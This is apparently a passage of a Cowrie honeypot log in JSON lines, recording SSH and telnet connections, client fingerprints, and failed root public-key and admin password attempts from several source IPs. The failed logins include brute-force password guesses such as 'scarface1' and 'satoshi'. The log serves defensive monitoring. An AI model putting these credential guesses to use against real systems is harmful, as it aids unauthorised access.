{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:9d:41:83:91:9f:bb:d2:c2:34:d5:47:a0:23:c3:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYmqMZgSIHc8R+EXt3OnzPiQhkx8eDAPG0z+qIRsYjkl3/O+0LShLZNUVQORJN93eHPLF40CF+bdrh5mkKeUWFv+rLgOqIc1jcdiDW0u9QTsH1+PBiaVrn1JatT6ux7I9BPSX4/64g+p9PByFG0YS7AH/f7JvhhzPVf66hMNIp6dn2JiOWSGagcf50Shrw7YB/N0fObnepMr8O+ODHqgqrmvEzAPLP23PH6WdRcEYFWUeUNspbbqzwNuimKrk5PIb0tEWU5EBCnIRSfIpG+FxbESthOjjOjIbZJpRNJv7H9RB9ofjHlpo9rqfJPtK8wKgJkOuVykbwfDgDWg9ghROT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:9d:41:83:91:9f:bb:d2:c2:34:d5:47:a0:23:c3:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:45:23.752239Z","src_ip":"185.222.138.254","session":"1bc272ee25be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:9d:41:83:91:9f:bb:d2:c2:34:d5:47:a0:23:c3:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYmqMZgSIHc8R+EXt3OnzPiQhkx8eDAPG0z+qIRsYjkl3/O+0LShLZNUVQORJN93eHPLF40CF+bdrh5mkKeUWFv+rLgOqIc1jcdiDW0u9QTsH1+PBiaVrn1JatT6ux7I9BPSX4/64g+p9PByFG0YS7AH/f7JvhhzPVf66hMNIp6dn2JiOWSGagcf50Shrw7YB/N0fObnepMr8O+ODHqgqrmvEzAPLP23PH6WdRcEYFWUeUNspbbqzwNuimKrk5PIb0tEWU5EBCnIRSfIpG+FxbESthOjjOjIbZJpRNJv7H9RB9ofjHlpo9rqfJPtK8wKgJkOuVykbwfDgDWg9ghROT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:45:23.757697Z","src_ip":"185.222.138.254","session":"1bc272ee25be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:37:c9:ef:11:5a:0f:7f:9f:a5:6a:50:0a:15:05:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC4rd9qejXyFpzVmMmhLhVujnivEjBCMBrsd/uMqD823kxkvcYFcPBgI2/t6KIpEfgKcT2U9FrU9KwZ20hrEEaYTFLeJwngM5kXb0I70XLciOIjTx0RPZGKA5XXXyOY7G9Uh0W8xOh3ZToE5pLyhgvrNcQ24alwyqVppws+RXn8rn3mm3J+y95Pg7yQ+j9nYP+0TewmHaRRQAUBD/IVk91eMwIRd/PvsymDEqgZwo0Xa/Lzes16EZoAuWkD6CUr7HAQ7WgzpLTnVyJfJRlwNSMmoFNd1mti62ksUkA+uz6ot0ZGtyE0yIVhMMx9g6u4/MXZ9YviCGVgHM3sxIMw7VB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:37:c9:ef:11:5a:0f:7f:9f:a5:6a:50:0a:15:05:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:45:23.875330Z","src_ip":"185.222.138.254","session":"1bc272ee25be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:37:c9:ef:11:5a:0f:7f:9f:a5:6a:50:0a:15:05:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC4rd9qejXyFpzVmMmhLhVujnivEjBCMBrsd/uMqD823kxkvcYFcPBgI2/t6KIpEfgKcT2U9FrU9KwZ20hrEEaYTFLeJwngM5kXb0I70XLciOIjTx0RPZGKA5XXXyOY7G9Uh0W8xOh3ZToE5pLyhgvrNcQ24alwyqVppws+RXn8rn3mm3J+y95Pg7yQ+j9nYP+0TewmHaRRQAUBD/IVk91eMwIRd/PvsymDEqgZwo0Xa/Lzes16EZoAuWkD6CUr7HAQ7WgzpLTnVyJfJRlwNSMmoFNd1mti62ksUkA+uz6ot0ZGtyE0yIVhMMx9g6u4/MXZ9YviCGVgHM3sxIMw7VB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:45:23.879713Z","src_ip":"185.222.138.254","session":"1bc272ee25be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:5f:17:3b:fc:56:45:79:de:0e:04:89:8e:10:37:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZ1WHSIN3MJPPkIKWL8Fbmqz2ksdT272iOrmYFsWIqUlQorL5tJKqGsphJnwY8Whl57cxr96Zf/QjcUPBq7FXCuG+dWN/9yIal1OUCH09UT7cDrvLqn1vDRE+9s37pfgfDbf8QXDEJhezCIENd0zKvsuFHL1sX+x9zbw+fj3EnfSsVUHhHdLz33EZC9dwMecSYymqKD17JOCsEu4XCw0TeeoWFpO93r0b3g0FbRYzAktu4dD2H+ZYI2j+oEkEVLBRSGEb8dJcrBSSA4rxB0i6WUGwuWi4JIYAknBEbcdMVTm/OzTC+K26QG3/Qsoar4aUMPokSCZWnOheTlcy9BAHF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:5f:17:3b:fc:56:45:79:de:0e:04:89:8e:10:37:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:45:23.999675Z","src_ip":"185.222.138.254","session":"1bc272ee25be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:5f:17:3b:fc:56:45:79:de:0e:04:89:8e:10:37:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZ1WHSIN3MJPPkIKWL8Fbmqz2ksdT272iOrmYFsWIqUlQorL5tJKqGsphJnwY8Whl57cxr96Zf/QjcUPBq7FXCuG+dWN/9yIal1OUCH09UT7cDrvLqn1vDRE+9s37pfgfDbf8QXDEJhezCIENd0zKvsuFHL1sX+x9zbw+fj3EnfSsVUHhHdLz33EZC9dwMecSYymqKD17JOCsEu4XCw0TeeoWFpO93r0b3g0FbRYzAktu4dD2H+ZYI2j+oEkEVLBRSGEb8dJcrBSSA4rxB0i6WUGwuWi4JIYAknBEbcdMVTm/OzTC+K26QG3/Qsoar4aUMPokSCZWnOheTlcy9BAHF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:45:24.003573Z","src_ip":"185.222.138.254","session":"1bc272ee25be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:6b:f9:c0:26:3a:b3:87:4f:5f:3f:26:44:44:a9:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCjk7CNxD2KCxB8ISF3HjhA+dq9xc+da82JHZvWzwGP/fE8kmkSNa1WxWw/aks/3jhcMVmmbSOv2X7IRyXHd0lmYv1xr8aW9iJ3ro3H4gGgPK4eYZj7yGvrHIqtShkYpzxzgm0b0HGjphzNBbd03qVvDLIE7m4h7Lh13cMyHa+Z2CZzrKwZye/kHh6umJahs+S/gw6c6Rawbqy59SzyTafRk5DowGquh2NEIBbSukRY4Q5RVZNjJwT4dnzyUNP9DldfF883sahElbleL+/agY0zsbkx558MO831RTuGczu61Mr2G/EMADQfopL+Pt9blboBDV3YiJfiHomdU+MtpFRP8gOb8HzfEIABO/QQP6Pd53qeGiwDFiADKZ21KyaSoBcwk4W36s/TJviPHyU+DAlaUZDeRDc1u6jWyI097xz1V+2WH4oOBGndUf0KFwqhH+/EWXtn9jEPXFgh5klZbVIYO8GhdW2PeOlmOUmaXOpPsPEFcM0xI8EcXuSzfSwVjc5uIaM+OgSv/5taEHYRxQKzgs2u4pJXizNvkBj/VryhMBSy3QAv6v4smeVne3IgYilGom7pDRuotQakknvQ96mU64igJvlGige4MrGFLy1/rWNuyuCRBOOHzG0pWhVdjlDmiMxgfbumh90W+NcLwA7PBVSWMOVy0fGBHkrj62QF3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:6b:f9:c0:26:3a:b3:87:4f:5f:3f:26:44:44:a9:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:45:24.116760Z","src_ip":"185.222.138.254","session":"1bc272ee25be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:6b:f9:c0:26:3a:b3:87:4f:5f:3f:26:44:44:a9:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCjk7CNxD2KCxB8ISF3HjhA+dq9xc+da82JHZvWzwGP/fE8kmkSNa1WxWw/aks/3jhcMVmmbSOv2X7IRyXHd0lmYv1xr8aW9iJ3ro3H4gGgPK4eYZj7yGvrHIqtShkYpzxzgm0b0HGjphzNBbd03qVvDLIE7m4h7Lh13cMyHa+Z2CZzrKwZye/kHh6umJahs+S/gw6c6Rawbqy59SzyTafRk5DowGquh2NEIBbSukRY4Q5RVZNjJwT4dnzyUNP9DldfF883sahElbleL+/agY0zsbkx558MO831RTuGczu61Mr2G/EMADQfopL+Pt9blboBDV3YiJfiHomdU+MtpFRP8gOb8HzfEIABO/QQP6Pd53qeGiwDFiADKZ21KyaSoBcwk4W36s/TJviPHyU+DAlaUZDeRDc1u6jWyI097xz1V+2WH4oOBGndUf0KFwqhH+/EWXtn9jEPXFgh5klZbVIYO8GhdW2PeOlmOUmaXOpPsPEFcM0xI8EcXuSzfSwVjc5uIaM+OgSv/5taEHYRxQKzgs2u4pJXizNvkBj/VryhMBSy3QAv6v4smeVne3IgYilGom7pDRuotQakknvQ96mU64igJvlGige4MrGFLy1/rWNuyuCRBOOHzG0pWhVdjlDmiMxgfbumh90W+NcLwA7PBVSWMOVy0fGBHkrj62QF3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:45:24.121274Z","src_ip":"185.222.138.254","session":"1bc272ee25be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:45:24.236850Z","src_ip":"185.222.138.254","session":"1bc272ee25be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":34592,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e09c3813844","protocol":"ssh","message":"New connection: 2.57.121.112:34592 (159.203.135.109:22) [session: 9e09c3813844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:46:04.884239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:46:04.889429Z","src_ip":"2.57.121.112","session":"9e09c3813844","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:46:04.991526Z","src_ip":"2.57.121.112","session":"9e09c3813844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"scipio","message":"login attempt [admin/scipio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:46:05.469920Z","src_ip":"2.57.121.112","session":"9e09c3813844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"scarface1","message":"login attempt [admin/scarface1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:46:06.574685Z","src_ip":"2.57.121.112","session":"9e09c3813844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"scar","message":"login attempt [admin/scar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:46:07.678706Z","src_ip":"2.57.121.112","session":"9e09c3813844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"satoshi","message":"login attempt [admin/satoshi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:46:08.782730Z","src_ip":"2.57.121.112","session":"9e09c3813844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sass","message":"login attempt [admin/sass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:46:09.886522Z","src_ip":"2.57.121.112","session":"9e09c3813844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:46:10.991811Z","src_ip":"2.57.121.112","session":"9e09c3813844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":37762,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab0e66c07d3b","protocol":"ssh","message":"New connection: 45.78.230.231:37762 (10.17.0.5:22) [session: ab0e66c07d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:47:01.377727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:47:01.383043Z","src_ip":"45.78.230.231","session":"ab0e66c07d3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:47:01.615576Z","src_ip":"45.78.230.231","session":"ab0e66c07d3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.19","src_port":41732,"dst_ip":"159.203.135.109","dst_port":23,"session":"65860fd2492e","protocol":"telnet","message":"New connection: 103.203.57.19:41732 (159.203.135.109:23) [session: 65860fd2492e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:47:16.015597Z"}
{"eventid":"cowrie.session.closed","duration":5.00011420249939,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:47:21.015588Z","src_ip":"103.203.57.19","session":"65860fd2492e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":39660,"dst_ip":"159.203.135.109","dst_port":23,"session":"f03880d30459","protocol":"telnet","message":"New connection: 194.180.12.23:39660 (159.203.135.109:23) [session: f03880d30459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:48:31.493693Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":39118,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9f646e0e8ce","protocol":"ssh","message":"New connection: 45.78.230.231:39118 (10.17.0.5:22) [session: d9f646e0e8ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:48:42.612502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:48:42.617487Z","src_ip":"45.78.230.231","session":"d9f646e0e8ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:48:42.856639Z","src_ip":"45.78.230.231","session":"d9f646e0e8ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.83.54","src_port":40188,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0e0353f693c","protocol":"telnet","message":"New connection: 152.59.83.54:40188 (10.17.0.5:23) [session: f0e0353f693c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:48:51.791580Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:49:01.393578Z","src_ip":"45.78.230.231","session":"ab0e66c07d3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.761451721191406,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:49:04.552913Z","src_ip":"152.59.83.54","session":"f0e0353f693c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.121.224","src_port":44416,"dst_ip":"10.17.0.5","dst_port":22,"session":"14cd5cfb19c2","protocol":"ssh","message":"New connection: 148.153.121.224:44416 (10.17.0.5:22) [session: 14cd5cfb19c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:49:08.574835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:49:08.579894Z","src_ip":"148.153.121.224","session":"14cd5cfb19c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:49:08.623095Z","src_ip":"148.153.121.224","session":"14cd5cfb19c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:b0:1e:e8:c2:04:aa:22:3c:a0:00:4b:ee:b5:ed:59","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDmUZhXezBTdUnqFnUQEpK3JtIjpHOXhwCsvd+ZOcEPH","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 5e:b0:1e:e8:c2:04:aa:22:3c:a0:00:4b:ee:b5:ed:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:49:08.817070Z","src_ip":"148.153.121.224","session":"14cd5cfb19c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:b0:1e:e8:c2:04:aa:22:3c:a0:00:4b:ee:b5:ed:59","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDmUZhXezBTdUnqFnUQEpK3JtIjpHOXhwCsvd+ZOcEPH","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:49:08.824783Z","src_ip":"148.153.121.224","session":"14cd5cfb19c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:47:98:f0:f7:d3:07:5b:b8:1e:b1:84:37:2e:fc:8d","key":"ssh-rsa 